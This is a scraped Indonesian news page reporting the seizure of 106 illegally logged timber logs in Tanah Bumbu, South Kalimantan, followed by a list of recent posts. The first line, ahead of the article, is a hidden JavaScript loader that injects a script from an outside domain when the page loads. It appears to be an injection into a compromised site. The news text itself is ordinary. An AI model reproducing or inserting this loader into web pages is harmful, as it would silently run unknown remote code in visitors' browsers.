(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Dishut Amankan 106 Batang Kayu Illegal, Perlu 8 Unit Dump Truck Angkut Barang Bukti


KANALKALIMANTAN.COM, BATULICIN – Sebanyak 106 batang kayu berjenis Meranti dan Rimba Campuran berhasil diamankan satuan Polisi Hutan (polhut) Dinas Kehutanan dan Polhut Kesatuan Pengelolaan Hutan (KPH) Kusan di Kecamatan Satui Kabupaten Tanah Bumbu, Kamis (19/5/2022).

Adapun kayu tersebut diduga hasil dari kegiatan illegal logging dari kawasan hutan wilayah KPH Kusan yang coba disusupkan melalui jalur sungai.

Kegiatan pengamanan tersebut dilakukan setelah satu hari sebelumnya, Rabu (18/5/2022) tim gabungan pengamanan hutan Dishut dan KPH Kusan melakukan penelusuran dan kegiatan patroli disepanjang alur sungai Satui menuju arah Jombang yang kemudian didapati kayu temuan berupa rakit-rakit.

Lantas, kayu bulat (log) yang berupa rakit tersebut kemudian ditarik menggunakan perahu kelotok untuk diamankan sekaligus dievakuasi ke daratan dengan menggunakan mesin penarik (win). Selanjutnya barang bukti kayu bulat langsung dimuat ke atas truk untuk kemudian dibawa ke Banjarbaru, kantor Polhut Dinas Kehutanan yang terletak di Gang Petai.

 

Baca juga  : 77 Pengurus KONI Balangan 2022-2026 Dilantik, Ini Target Ketua KONI Balangan

“Mengingat situasi dan kondisi di lapangan yang kurang kondusif, serta banyaknya jumlah barang bukti, maka dari itu secepatnya juga akan kami bawa ke Banjarbaru (kantor polhut Dishut),” ucap Kepala Seksi Perlindungan Hutan KPH Kusan, Dawan.

Barang bukti kayu temuan dengan total estimasi volume sebesar 40 meter kubik tersebut selanjutnya diangkut dengan menggunakan 8 buah dump truk untuk dibawa dan diamankan oleh tim ke Banjarbaru pada Jumat (20/5/2022) pagi. Malam harinya, kayu tersebut sudah berada di kantor Polhut Dinas Kehutanan yang berada di Gang Petai Banjarbaru, untuk kemudian diukur dan diperiksa oleh petugas yang berwenang.

Kadishut Kalsel, Fathimatuzzahra mengatakan, seringnya dilaksanakan patroli rutin pengamanan hutan diharapkan mampu mengurangi tindak kejahatan illegal logging di wilayah kawasan hutan Kalimantan Selatan.(Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

8 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

9 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

9 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

16 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

17 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.